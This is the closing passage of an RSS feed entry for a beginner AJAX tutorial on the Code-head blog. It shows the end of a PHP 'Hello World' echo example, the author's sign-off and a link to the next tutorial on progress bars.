<span style="color: #990000;">echo</span> <span style="color: #0000ff;">'Hello World!'</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>That&#8217;s it for now.<br />
Thanks and good luck!<br />
-Codehead</p>
<p><strong>Next: </strong> <a href="http://blog.code-head.com/ajax-beginner-ajax-tutorial-display-a-progress-bar-or-a-loading-message">AJAX - Beginner AJAX Tutorial - Display a Progress Bar or a Loading Message</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.code-head.com/ajax-beginner-ajax-tutorial/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
